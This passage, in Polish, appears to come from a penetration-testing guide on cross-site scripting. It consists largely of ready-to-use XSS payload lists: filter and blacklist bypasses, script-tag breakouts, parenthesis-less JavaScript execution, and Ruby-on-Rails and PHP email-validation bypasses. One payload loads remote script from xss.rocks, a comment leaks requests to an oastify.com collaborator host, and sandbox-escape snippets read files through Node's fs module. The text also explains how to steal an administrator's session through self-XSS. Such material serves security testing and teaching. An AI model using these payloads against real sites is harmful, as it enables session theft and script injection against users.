Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **ładunek XSS wewnątrz ukrytego atrybutu**, pod warunkiem, że możesz **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W systemie Firefox Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a w systemie OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie dostępu. Oto wektor:
|
|||
|
```markup
|
|||
|
<input type="hidden" accesskey="X" onclick="alert(1)">
|
|||
|
```
|
|||
|
**Payload XSS będzie wyglądać mniej więcej tak: `" accesskey="x" onclick="alert(1)" x="`**
|
|||
|
|
|||
|
### Ominięcia czarnej listy
|
|||
|
|
|||
|
Kilka sztuczek z używaniem różnych kodowań zostało już ujawnionych w tej sekcji. Wróć **aby dowiedzieć się, gdzie możesz użyć:**
|
|||
|
|
|||
|
* **Kodowanie HTML (tagi HTML)**
|
|||
|
* **Kodowanie Unicode (może być poprawnym kodem JS):** `\u0061lert(1)`
|
|||
|
* **Kodowanie URL**
|
|||
|
* **Kodowanie szesnastkowe i ósemkowe**
|
|||
|
* **Kodowanie danych**
|
|||
|
|
|||
|
**Ominięcia dla tagów HTML i atrybutów**
|
|||
|
|
|||
|
Przeczytaj [Ominięcia czarnej listy z poprzedniej sekcji](./#blacklist-bypasses).
|
|||
|
|
|||
|
**Ominięcia dla kodu JavaScript**
|
|||
|
|
|||
|
Przeczytaj [czarną listę ominięć JavaScript z następnej sekcji](./#javascript-bypass-blacklists-techniques).
|
|||
|
|
|||
|
### Gadżety CSS
|
|||
|
|
|||
|
Jeśli znalazłeś **XSS w bardzo małej części** sieci, która wymaga jakiejś interakcji (może mały link w stopce z elementem onmouseover), możesz spróbować **zmodyfikować przestrzeń, którą zajmuje ten element**, aby zmaksymalizować prawdopodobieństwo uruchomienia linku.
|
|||
|
|
|||
|
Na przykład, możesz dodać jakieś style do elementu, takie jak: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
|||
|
|
|||
|
Jednak, jeśli WAF filtruje atrybut stylu, możesz użyć Gadżetów Stylizacji CSS, więc jeśli znajdziesz, na przykład
|
|||
|
|
|||
|
> .test {display:block; color: blue; width: 100%\}
|
|||
|
|
|||
|
i
|
|||
|
|
|||
|
> \#someid {top: 0; font-family: Tahoma;}
|
|||
|
|
|||
|
Teraz możesz zmodyfikować nasz link i przekształcić go w formę
|
|||
|
|
|||
|
> \<a href="" id=someid class=test onclick=alert() a="">
|
|||
|
|
|||
|
Ten trik został zaczerpnięty z [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
|||
|
|
|||
|
## Wstrzykiwanie wewnątrz kodu JavaScript
|
|||
|
|
|||
|
W tych przypadkach twój **input** będzie **odzwierciedlony wewnątrz kodu JS** pliku `.js` lub pomiędzy tagami `<script>...</script>` lub pomiędzy zdarzeniami HTML, które mogą wykonywać kod JS lub pomiędzy atrybutami, które akceptują protokół `javascript:`.
|
|||
|
|
|||
|
### Ucieczka z tagu \<script>
|
|||
|
|
|||
|
Jeśli twój kod jest wstawiony w `<script> [...] var input = 'odzwierciedlone dane' [...] </script>` możesz łatwo **uciec zamykając tag `<script>`**:
|
|||
|
```javascript
|
|||
|
</script><img src=1 onerror=alert(document.domain)>
|
|||
|
```
|
|||
|
Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego cudzysłowu**. Dzieje się tak, ponieważ **analiza HTML jest najpierw wykonywana przez przeglądarkę**, co obejmuje identyfikację elementów strony, w tym bloków skryptów. Analiza JavaScript w celu zrozumienia i wykonania osadzonych skryptów jest przeprowadzana dopiero później.
|
|||
|
|
|||
|
### Wewnątrz kodu JS
|
|||
|
|
|||
|
Jeśli `<>` są sanitizowane, nadal możesz **uciec ze stringu**, w którym znajduje się twój input i **wykonać dowolny JS**. Ważne jest, aby **naprawić składnię JS**, ponieważ jeśli wystąpią jakiekolwiek błędy, kod JS nie zostanie wykonany:
|
|||
|
```
|
|||
|
'-alert(document.domain)-'
|
|||
|
';alert(document.domain)//
|
|||
|
\';alert(document.domain)//
|
|||
|
```
|
|||
|
### Template literals \`\`
|
|||
|
|
|||
|
Aby skonstruować **ciągi** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticks** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **osadzenie wyrażeń JS** przy użyciu składni `${ ... }`.\
|
|||
|
Dlatego, jeśli zauważysz, że twój input jest **odzwierciedlany** wewnątrz ciągu JS, który używa backticks, możesz nadużyć składni `${ ... }`, aby wykonać **dowolny kod JS**:
|
|||
|
|
|||
|
Można to **nadużyć** używając:
|
|||
|
```javascript
|
|||
|
`${alert(1)}`
|
|||
|
`${`${`${`${alert(1)}`}`}`}`
|
|||
|
```
|
|||
|
|
|||
|
```````````````javascript
|
|||
|
// This is valid JS code, because each time the function returns itself it's recalled with ``
|
|||
|
function loop(){return loop}
|
|||
|
loop``````````````
|
|||
|
```````````````
|
|||
|
### Wykonanie kodu zakodowanego
|
|||
|
```markup
|
|||
|
<script>\u0061lert(1)</script>
|
|||
|
<svg><script>alert('1')
|
|||
|
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
|||
|
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
|||
|
```
|
|||
|
### Kodowanie Unicode wykonania JS
|
|||
|
```javascript
|
|||
|
\u{61}lert(1)
|
|||
|
\u0061lert(1)
|
|||
|
\u{0061}lert(1)
|
|||
|
```
|
|||
|
### Techniki omijania czarnych list JavaScript
|
|||
|
|
|||
|
**Ciągi**
|
|||
|
```javascript
|
|||
|
"thisisastring"
|
|||
|
'thisisastrig'
|
|||
|
`thisisastring`
|
|||
|
/thisisastring/ == "/thisisastring/"
|
|||
|
/thisisastring/.source == "thisisastring"
|
|||
|
"\h\e\l\l\o"
|
|||
|
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
|
|||
|
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
|
|||
|
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
|
|||
|
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
|
|||
|
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
|
|||
|
"\a\l\ert\(1\)"
|
|||
|
atob("dGhpc2lzYXN0cmluZw==")
|
|||
|
eval(8680439..toString(30))(983801..toString(36))
|
|||
|
```
|
|||
|
**Specjalne ucieczki**
|
|||
|
```javascript
|
|||
|
'\b' //backspace
|
|||
|
'\f' //form feed
|
|||
|
'\n' //new line
|
|||
|
'\r' //carriage return
|
|||
|
'\t' //tab
|
|||
|
'\b' //backspace
|
|||
|
'\f' //form feed
|
|||
|
'\n' //new line
|
|||
|
'\r' //carriage return
|
|||
|
'\t' //tab
|
|||
|
// Any other char escaped is just itself
|
|||
|
```
|
|||
|
**Zamiany spacji w kodzie JS**
|
|||
|
```javascript
|
|||
|
<TAB>
|
|||
|
/**/
|
|||
|
```
|
|||
|
**Komentarze JavaScript (z** [**Komentarze JavaScript**](./#javascript-comments) **sztuczki)**
|
|||
|
```javascript
|
|||
|
//This is a 1 line comment
|
|||
|
/* This is a multiline comment*/
|
|||
|
<!--This is a 1line comment
|
|||
|
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
|||
|
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
|||
|
```
|
|||
|
**Nowe linie JavaScript (z** [**sztuczki nowych linii JavaScript**](./#javascript-new-lines) **)**
|
|||
|
```javascript
|
|||
|
//Javascript interpret as new line these chars:
|
|||
|
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
|||
|
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
|
|||
|
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
|
|||
|
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
|
|||
|
```
|
|||
|
**Białe znaki JavaScript**
|
|||
|
```javascript
|
|||
|
log=[];
|
|||
|
function funct(){}
|
|||
|
for(let i=0;i<=0x10ffff;i++){
|
|||
|
try{
|
|||
|
eval(`funct${String.fromCodePoint(i)}()`);
|
|||
|
log.push(i);
|
|||
|
}
|
|||
|
catch(e){}
|
|||
|
}
|
|||
|
console.log(log)
|
|||
|
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
|
|||
|
|
|||
|
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
|||
|
<img/src/onerror=alert(1)>
|
|||
|
```
|
|||
|
**Javascript wewnątrz komentarza**
|
|||
|
```javascript
|
|||
|
//If you can only inject inside a JS comment, you can still leak something
|
|||
|
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
|||
|
|
|||
|
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
|||
|
```
|
|||
|
**JavaScript bez nawiasów**
|
|||
|
````javascript
|
|||
|
// By setting location
|
|||
|
window.location='javascript:alert\x281\x29'
|
|||
|
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
|
|||
|
// or any DOMXSS sink such as location=name
|
|||
|
|
|||
|
// Backtips
|
|||
|
// Backtips pass the string as an array of lenght 1
|
|||
|
alert`1`
|
|||
|
|
|||
|
// Backtips + Tagged Templates + call/apply
|
|||
|
eval`alert\x281\x29` // This won't work as it will just return the passed array
|
|||
|
setTimeout`alert\x281\x29`
|
|||
|
eval.call`${'alert\x281\x29'}`
|
|||
|
eval.apply`${[`alert\x281\x29`]}`
|
|||
|
[].sort.call`${alert}1337`
|
|||
|
[].map.call`${eval}\\u{61}lert\x281337\x29`
|
|||
|
|
|||
|
// To pass several arguments you can use
|
|||
|
function btt(){
|
|||
|
console.log(arguments);
|
|||
|
}
|
|||
|
btt`${'arg1'}${'arg2'}${'arg3'}`
|
|||
|
|
|||
|
//It's possible to construct a function and call it
|
|||
|
Function`x${'alert(1337)'}x```
|
|||
|
|
|||
|
// .replace can use regexes and call a function if something is found
|
|||
|
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
|
|||
|
"a".replace.call`1${/./}${alert}`
|
|||
|
// This happened in the previous example
|
|||
|
// Change "this" value of call to "1,"
|
|||
|
// match anything with regex /./
|
|||
|
// call alert with "1"
|
|||
|
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
|
|||
|
|
|||
|
// Using Reflect.apply to call any function with any argumnets
|
|||
|
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
|
|||
|
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
|
|||
|
// Using Reflect.set to call set any value to a variable
|
|||
|
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
// valueOf, toString
|
|||
|
// These operations are called when the object is used as a primitive
|
|||
|
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
|
|||
|
valueOf=alert;window+''
|
|||
|
toString=alert;window+''
|
|||
|
|
|||
|
|
|||
|
// Error handler
|
|||
|
window.onerror=eval;throw"=alert\x281\x29";
|
|||
|
onerror=eval;throw"=alert\x281\x29";
|
|||
|
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
|
|||
|
{onerror=eval}throw"=alert(1)" //No ";"
|
|||
|
onerror=alert //No ";" using new line
|
|||
|
throw 1337
|
|||
|
// Error handler + Special unicode separators
|
|||
|
eval("onerror=\u2028alert\u2029throw 1337");
|
|||
|
// Error handler + Comma separator
|
|||
|
// The comma separator goes through the list and returns only the last element
|
|||
|
var a = (1,2,3,4,5,6) // a = 6
|
|||
|
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
|
|||
|
throw onerror=alert,1,1,1,1,1,1337
|
|||
|
// optional exception variables inside a catch clause.
|
|||
|
try{throw onerror=alert}catch{throw 1}
|
|||
|
|
|||
|
|
|||
|
// Has instance symbol
|
|||
|
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
|
|||
|
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
|
|||
|
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
|
|||
|
````
|
|||
|
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
|||
|
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
|||
|
|
|||
|
**Dowolne wywołanie funkcji (alert)**
|
|||
|
````javascript
|
|||
|
//Eval like functions
|
|||
|
eval('ale'+'rt(1)')
|
|||
|
setTimeout('ale'+'rt(2)');
|
|||
|
setInterval('ale'+'rt(10)');
|
|||
|
Function('ale'+'rt(10)')``;
|
|||
|
[].constructor.constructor("alert(document.domain)")``
|
|||
|
[]["constructor"]["constructor"]`$${alert()}```
|
|||
|
import('data:text/javascript,alert(1)')
|
|||
|
|
|||
|
//General function executions
|
|||
|
`` //Can be use as parenthesis
|
|||
|
alert`document.cookie`
|
|||
|
alert(document['cookie'])
|
|||
|
with(document)alert(cookie)
|
|||
|
(alert)(1)
|
|||
|
(alert(1))in"."
|
|||
|
a=alert,a(1)
|
|||
|
[1].find(alert)
|
|||
|
window['alert'](0)
|
|||
|
parent['alert'](1)
|
|||
|
self['alert'](2)
|
|||
|
top['alert'](3)
|
|||
|
this['alert'](4)
|
|||
|
frames['alert'](5)
|
|||
|
content['alert'](6)
|
|||
|
[7].map(alert)
|
|||
|
[8].find(alert)
|
|||
|
[9].every(alert)
|
|||
|
[10].filter(alert)
|
|||
|
[11].findIndex(alert)
|
|||
|
[12].forEach(alert);
|
|||
|
top[/al/.source+/ert/.source](1)
|
|||
|
top[8680439..toString(30)](1)
|
|||
|
Function("ale"+"rt(1)")();
|
|||
|
new Function`al\ert\`6\``;
|
|||
|
Set.constructor('ale'+'rt(13)')();
|
|||
|
Set.constructor`al\x65rt\x2814\x29```;
|
|||
|
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
|
|||
|
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
|
|||
|
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
|
|||
|
globalThis[`al`+/ert/.source]`1`
|
|||
|
this[`al`+/ert/.source]`1`
|
|||
|
[alert][0].call(this,1)
|
|||
|
window['a'+'l'+'e'+'r'+'t']()
|
|||
|
window['a'+'l'+'e'+'r'+'t'].call(this,1)
|
|||
|
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
|
|||
|
(1,2,3,4,5,6,7,8,alert)(1)
|
|||
|
x=alert,x(1)
|
|||
|
[1].find(alert)
|
|||
|
top["al"+"ert"](1)
|
|||
|
top[/al/.source+/ert/.source](1)
|
|||
|
al\u0065rt(1)
|
|||
|
al\u0065rt`1`
|
|||
|
top['al\145rt'](1)
|
|||
|
top['al\x65rt'](1)
|
|||
|
top[8680439..toString(30)](1)
|
|||
|
<svg><animate onbegin=alert() attributeName=x></svg>
|
|||
|
````
|
|||
|
## **Luki w DOM**
|
|||
|
|
|||
|
Istnieje **kod JS**, który używa **niebezpiecznych danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.\
|
|||
|
**Z powodu rozszerzenia wyjaśnienia** [**luk w DOM przeniesiono na tę stronę**](dom-xss.md)**:**
|
|||
|
|
|||
|
{% content-ref url="dom-xss.md" %}
|
|||
|
[dom-xss.md](dom-xss.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
Tam znajdziesz szczegółowe **wyjaśnienie, czym są luki w DOM, jak są wywoływane i jak je wykorzystać**.\
|
|||
|
Nie zapomnij również, że **na końcu wspomnianego posta** możesz znaleźć wyjaśnienie dotyczące [**ataków DOM Clobbering**](dom-xss.md#dom-clobbering).
|
|||
|
|
|||
|
### Ulepszanie Self-XSS
|
|||
|
|
|||
|
### Cookie XSS
|
|||
|
|
|||
|
Jeśli możesz wywołać XSS, wysyłając ładunek w ciasteczku, zazwyczaj jest to self-XSS. Jednak jeśli znajdziesz **wrażliwy subdomen do XSS**, możesz wykorzystać ten XSS do wstrzyknięcia ciasteczka w całej domenie, co pozwoli na wywołanie cookie XSS w głównej domenie lub innych subdomenach (tych wrażliwych na cookie XSS). W tym celu możesz użyć ataku cookie tossing:
|
|||
|
|
|||
|
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
|||
|
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
Możesz znaleźć świetne wykorzystanie tej techniki w [**tym poście na blogu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
|||
|
|
|||
|
### Wysyłanie swojej sesji do administratora
|
|||
|
|
|||
|
Może się zdarzyć, że użytkownik może podzielić się swoim profilem z administratorem, a jeśli self XSS znajduje się w profilu użytkownika i administrator uzyska do niego dostęp, wywoła lukę.
|
|||
|
|
|||
|
### Odbicie sesji
|
|||
|
|
|||
|
Jeśli znajdziesz jakieś self XSS, a strona internetowa ma **odbicie sesji dla administratorów**, na przykład pozwalając klientom prosić o pomoc, aby administrator mógł ci pomóc, będzie widział to, co ty widzisz w swojej sesji, ale z jego sesji.
|
|||
|
|
|||
|
Możesz sprawić, że **administrator wywoła twoje self XSS** i ukraść jego ciasteczka/sesję.
|
|||
|
|
|||
|
## Inne obejścia
|
|||
|
|
|||
|
### Normalizowany Unicode
|
|||
|
|
|||
|
Możesz sprawdzić, czy **odzwierciedlone wartości** są **normalizowane w Unicode** na serwerze (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/#xss-cross-site-scripting).
|
|||
|
|
|||
|
### Obejście flagi PHP FILTER\_VALIDATE\_EMAIL
|
|||
|
```javascript
|
|||
|
"><svg/onload=confirm(1)>"@x.y
|
|||
|
```
|
|||
|
### Ruby-On-Rails bypass
|
|||
|
|
|||
|
Z powodu **masowego przypisania RoR** cytaty są wstawiane w HTML, a następnie ograniczenie cytatów jest omijane i dodatkowe pola (onfocus) mogą być dodawane wewnątrz tagu.\
|
|||
|
Przykład formularza ([z tego raportu](https://hackerone.com/reports/709336)), jeśli wyślesz ładunek:
|
|||
|
```
|
|||
|
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
|||
|
```
|
|||
|
Para "Klucz","Wartość" zostanie zwrócona w ten sposób:
|
|||
|
```
|
|||
|
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
|||
|
```
|
|||
|
Then, atrybut onfocus zostanie wstawiony i wystąpi XSS.
|
|||
|
|
|||
|
### Specjalne kombinacje
|
|||
|
```markup
|
|||
|
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
|||
|
<input type=image src onerror="prompt(1)">
|
|||
|
<svg onload=alert(1)//
|
|||
|
<img src="/" =_=" title="onerror='prompt(1)'">
|
|||
|
<img src='1' onerror='alert(0)' <
|
|||
|
<script x> alert(1) </script 1=2
|
|||
|
<script x>alert('XSS')<script y>
|
|||
|
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
|
|||
|
<svg////////onload=alert(1)>
|
|||
|
<svg id=x;onload=alert(1)>
|
|||
|
<svg id=`x`onload=alert(1)>
|
|||
|
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
|
|||
|
<script>$=1,alert($)</script>
|
|||
|
<script ~~~>confirm(1)</script ~~~>
|
|||
|
<script>$=1,\u0061lert($)</script>
|
|||
|
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
|
|||
|
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
|
|||
|
</style></scRipt><scRipt>alert(1)</scRipt>
|
|||
|
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
|
|||
|
<svg><x><script>alert('1')</x>
|
|||
|
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
|
|||
|
<svg><animate onbegin=alert() attributeName=x></svg>
|
|||
|
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
|
|||
|
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
|
|||
|
(function(x){this[x+`ert`](1)})`al`
|
|||
|
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
|||
|
document['default'+'View'][`\u0061lert`](3)
|
|||
|
```
|
|||
|
### XSS z wstrzyknięciem nagłówka w odpowiedzi 302
|
|||
|
|
|||
|
Jeśli odkryjesz, że możesz **wstrzykiwać nagłówki w odpowiedzi 302 Redirect**, możesz spróbować **sprawić, aby przeglądarka wykonała dowolny JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam ładunek cross-site scripting jest bezużyteczny.
|
|||
|
|
|||
|
W [**tym raporcie**](https://www.gremwell.com/firefox-xss-302) i [**tym**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak możesz testować różne protokoły w nagłówku Location i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na inspekcję i wykonanie ładunku XSS w treści.\
|
|||
|
Znane wcześniej protokoły: `mailto://`, `//x:1/`, `ws://`, `wss://`, _pusty nagłówek Location_, `resource://`.
|
|||
|
|
|||
|
### Tylko litery, cyfry i kropki
|
|||
|
|
|||
|
Jeśli jesteś w stanie wskazać **callback**, który JavaScript ma **wykonać**, ograniczając się do tych znaków. [**Przeczytaj tę sekcję tego posta**](./#javascript-function), aby dowiedzieć się, jak nadużywać tego zachowania.
|
|||
|
|
|||
|
### Ważne typy zawartości `<script>` do XSS
|
|||
|
|
|||
|
(Z [**tutaj**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Jeśli spróbujesz załadować skrypt z **typem zawartości** takim jak `application/octet-stream`, Chrome zgłosi następujący błąd:
|
|||
|
|
|||
|
> Odrzucono wykonanie skryptu z ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') ponieważ jego typ MIME (‘application/octet-stream’) nie jest wykonywalny, a ścisłe sprawdzanie typu MIME jest włączone.
|
|||
|
|
|||
|
Jedynymi **Content-Type**ami, które pozwolą Chrome na uruchomienie **załadowanego skryptu**, są te w stałej **`kSupportedJavascriptTypes`** z [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
|||
|
```c
|
|||
|
const char* const kSupportedJavascriptTypes[] = {
|
|||
|
"application/ecmascript",
|
|||
|
"application/javascript",
|
|||
|
"application/x-ecmascript",
|
|||
|
"application/x-javascript",
|
|||
|
"text/ecmascript",
|
|||
|
"text/javascript",
|
|||
|
"text/javascript1.0",
|
|||
|
"text/javascript1.1",
|
|||
|
"text/javascript1.2",
|
|||
|
"text/javascript1.3",
|
|||
|
"text/javascript1.4",
|
|||
|
"text/javascript1.5",
|
|||
|
"text/jscript",
|
|||
|
"text/livescript",
|
|||
|
"text/x-ecmascript",
|
|||
|
"text/x-javascript",
|
|||
|
};
|
|||
|
|
|||
|
```
|
|||
|
### Typy skryptów do XSS
|
|||
|
|
|||
|
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Więc, które typy mogą być wskazane do załadowania skryptu?
|
|||
|
```html
|
|||
|
<script type="???"></script>
|
|||
|
```
|
|||
|
Odpowiedź to:
|
|||
|
|
|||
|
* **module** (domyślny, nic do wyjaśnienia)
|
|||
|
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles to funkcja, która pozwala na spakowanie wielu danych (HTML, CSS, JS…) razem do pliku **`.wbn`**.
|
|||
|
```html
|
|||
|
<script type="webbundle">
|
|||
|
{
|
|||
|
"source": "https://example.com/dir/subresources.wbn",
|
|||
|
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
|
|||
|
}
|
|||
|
</script>
|
|||
|
The resources are loaded from the source .wbn, not accessed via HTTP
|
|||
|
```
|
|||
|
* [**importmap**](https://github.com/WICG/import-maps)**:** Umożliwia poprawę składni importu
|
|||
|
```html
|
|||
|
<script type="importmap">
|
|||
|
{
|
|||
|
"imports": {
|
|||
|
"moment": "/node_modules/moment/src/moment.js",
|
|||
|
"lodash": "/node_modules/lodash-es/lodash.js"
|
|||
|
}
|
|||
|
}
|
|||
|
</script>
|
|||
|
|
|||
|
<!-- With importmap you can do the following -->
|
|||
|
<script>
|
|||
|
import moment from "moment";
|
|||
|
import { partition } from "lodash";
|
|||
|
</script>
|
|||
|
```
|
|||
|
To zachowanie zostało wykorzystane w [**tym opisie**](https://github.com/zwade/yaca/tree/master/solution), aby przemapować bibliotekę na eval, aby nadużyć jej i wywołać XSS.
|
|||
|
|
|||
|
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ta funkcja ma na celu rozwiązanie niektórych problemów spowodowanych wstępnym renderowaniem. Działa to w ten sposób:
|
|||
|
```html
|
|||
|
<script type="speculationrules">
|
|||
|
{
|
|||
|
"prerender": [
|
|||
|
{"source": "list",
|
|||
|
"urls": ["/page/2"],
|
|||
|
"score": 0.5},
|
|||
|
{"source": "document",
|
|||
|
"if_href_matches": ["https://*.wikipedia.org/**"],
|
|||
|
"if_not_selector_matches": [".restricted-section *"],
|
|||
|
"score": 0.1}
|
|||
|
]
|
|||
|
}
|
|||
|
</script>
|
|||
|
```
|
|||
|
### Web Content-Types to XSS
|
|||
|
|
|||
|
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące typy treści mogą wykonywać XSS we wszystkich przeglądarkach:
|
|||
|
|
|||
|
* text/html
|
|||
|
* application/xhtml+xml
|
|||
|
* application/xml
|
|||
|
* text/xml
|
|||
|
* image/svg+xml
|
|||
|
* text/plain (?? nie na liście, ale myślę, że widziałem to w CTF)
|
|||
|
* application/rss+xml (wyłączone)
|
|||
|
* application/atom+xml (wyłączone)
|
|||
|
|
|||
|
W innych przeglądarkach inne **`Content-Types`** mogą być używane do wykonywania dowolnego JS, sprawdź: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
|||
|
|
|||
|
### xml Content Type
|
|||
|
|
|||
|
Jeśli strona zwraca typ treści text/xml, możliwe jest wskazanie przestrzeni nazw i wykonanie dowolnego JS:
|
|||
|
```xml
|
|||
|
<xml>
|
|||
|
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
|||
|
</xml>
|
|||
|
|
|||
|
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
|
|||
|
```
|
|||
|
### Specjalne Wzorce Zastępowania
|
|||
|
|
|||
|
Kiedy coś takiego jak **`"some {{template}} data".replace("{{template}}", <user_input>)`** jest używane. Atakujący może użyć [**specjalnych zastąpień ciągów**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), aby spróbować obejść niektóre zabezpieczenia: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
|||
|
|
|||
|
Na przykład w [**tym opisie**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) użyto tego do **ucieczki z ciągu JSON** wewnątrz skryptu i wykonania dowolnego kodu.
|
|||
|
|
|||
|
### Pamięć podręczna Chrome do XSS
|
|||
|
|
|||
|
{% content-ref url="chrome-cache-to-xss.md" %}
|
|||
|
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
### Ucieczka z XS Jails
|
|||
|
|
|||
|
Jeśli masz tylko ograniczony zestaw znaków do użycia, sprawdź te inne ważne rozwiązania dla problemów z XSJail:
|
|||
|
```javascript
|
|||
|
// eval + unescape + regex
|
|||
|
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
|||
|
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
|
|||
|
|
|||
|
// use of with
|
|||
|
with(console)log(123)
|
|||
|
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
|
|||
|
// Just replace console.log(1) to the real code, the code we want to run is:
|
|||
|
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
|
|||
|
|
|||
|
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
|
|||
|
